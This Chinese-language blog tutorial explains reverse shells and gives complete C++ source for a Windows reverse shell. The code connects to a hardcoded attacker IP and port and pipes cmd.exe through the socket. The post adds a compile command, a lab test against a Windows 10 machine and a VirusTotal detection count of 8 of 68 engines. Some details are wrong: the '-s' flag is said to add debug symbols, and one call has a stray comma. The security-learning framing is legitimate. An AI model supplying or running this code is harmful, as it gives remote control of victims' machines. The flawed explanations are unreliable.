什么是Reverse Shell?
反向 Shell(Reverse Shell)是指远程攻击者在攻击成功后,通过建立一个反向连接,让受害者的机器连接到攻击者的机器上,从而达到控制受害者机器的目的。通常情况下,攻击者需要在受害者机器上植入一个恶意程序,使得该程序能够在后续与攻击者机器建立连接并接受攻击者的指令。反向 Shell 通常被用于在目标机器上执行命令、获取敏感数据、植入其他恶意程序等操作。攻击者可以通过反向 Shell 轻松地远程控制目标机器,而不需要经过复杂的端口转发等操作。
C++编写Reverse Shell
(1)通过调用WSAStartup初始化套接字库
(2)创建socket
(3)连接攻击者主机的socket
(4)反弹命令行
初始化socket
| |
| WSAStartup(MAKEWORD(2,2), &wsaData); |
创建socket
| |
| wSock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, (unsigned int)NULL, (unsigned int)NULL,); |
| |
| hax.sin_family = AF_INET; |
| hax.sin_port = htons(port); |
| hax.sin_addr = inet_addr(ip); |
连接攻击者主机的socket
| |
| WSAConnect(wSock, (SOCKADDR*)&hax, sizeof(hax), NULL, NULL, NULL, NULL); |
| |
| memset(&sui, 0, sizeof(sui)); |
| sui.cb = sizeof(sui); |
| sui.dwFlags = STARTF_USESTDHANDLES; |
| sui.hStdInput = sui.hStdOutput = sui.hStdError = (HANDLE) wSock; |
反弹命令行
| |
| CreateProcess(NULL, "cmd.exe", NULL, NULL, TRUE, 0, NULL, NULL, &sui, &pi); |
完整代码
| #include <winsock2.h> |
| #include <stdio.h> |
| #pragma comment(lib, "ws2_32") |
| |
| WSADATA wsaData; |
| SOCKET wSock; |
| struct sockaddr_in hax; |
| STARTUPINFO sui; |
| PROCESS_INFORMATION pi; |
| |
| int main(int argc, char* argv[]){ |
| |
| char *ip = (char*)"172.18.53.19"; |
| short port = 4444; |
| |
| |
| WSAStartup(MAKEWORD(2,2), &wsaData); |
| |
| |
| wSock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, (unsigned int)NULL, (unsigned int)NULL,); |
| |
| hax.sin_family = AF_INET; |
| hax.sin_port = htons(port); |
| hax.sin_addr = inet_addr(ip); |
| |
| |
| WSAConnect(wSock, (SOCKADDR*)&hax, sizeof(hax), NULL, NULL, NULL, NULL); |
| |
| memset(&sui, 0, sizeof(sui)); |
| sui.cb = sizeof(sui); |
| sui.dwFlags = STARTF_USESTDHANDLES; |
| sui.hStdInput = sui.hStdOutput = sui.hStdError = (HANDLE) wSock; |
| |
| |
| CreateProcess(NULL, "cmd.exe", NULL, NULL, TRUE, 0, NULL, NULL, &sui, &pi); |
| exit(0); |
| } |
代码测试
这里使用kali(172.18.53.19)作为攻击者,Windows10物理机作为被攻击者,首先对代码进行编译:
| g++ shell.cpp -o shell.exe -lws2_32 -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive |
参数解释:
| shell.cpp:要编译的源代码文件。 |
| -o shell.exe:指定输出的可执行文件名为 shell.exe。 |
| -lws2_32:连接 WinSock2 库,这是一个 Windows 下的网络编程库。 |
| -s:在输出文件中包含符号表和调试信息,以便在调试程序时使用。 |
| -ffunction-sections 和 -fdata-sections:告诉编译器将每个函数和变量放在不同的节(section)中。这样做可以使得链接器只链接实际使用的代码和数据,而忽略未使用的代码和数据,从而减小可执行文件的大小。 |
| -Wno-write-strings:忽略对字符串常量的写操作,避免编译器报出相关的警告。 |
| -fno-exceptions:禁用 C++ 异常处理机制。 |
| -fmerge-all-constants:将所有常量合并到一个单独的节中。 |
| -static-libstdc++ 和 -static-libgcc:告诉编译器链接静态版的标准 C++ 库和 GCC 运行时库。 |
| -fpermissive:容错模式,允许一些不符合标准的代码通过编译。 |

接着,在kali上起监听:

在Windows主机上运行shell.exe
,在kali上发现shell已经反弹回来了:

将编译完的shell.exe
上传至virustotal,可以发现68个AV引擎中,有8个将文件检测为恶意软件:

【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】凌霞软件回馈社区,博客园 & 1Panel & Halo 联合会员上线
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】博客园社区专享云产品让利特惠,阿里云新客6.5折上折
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步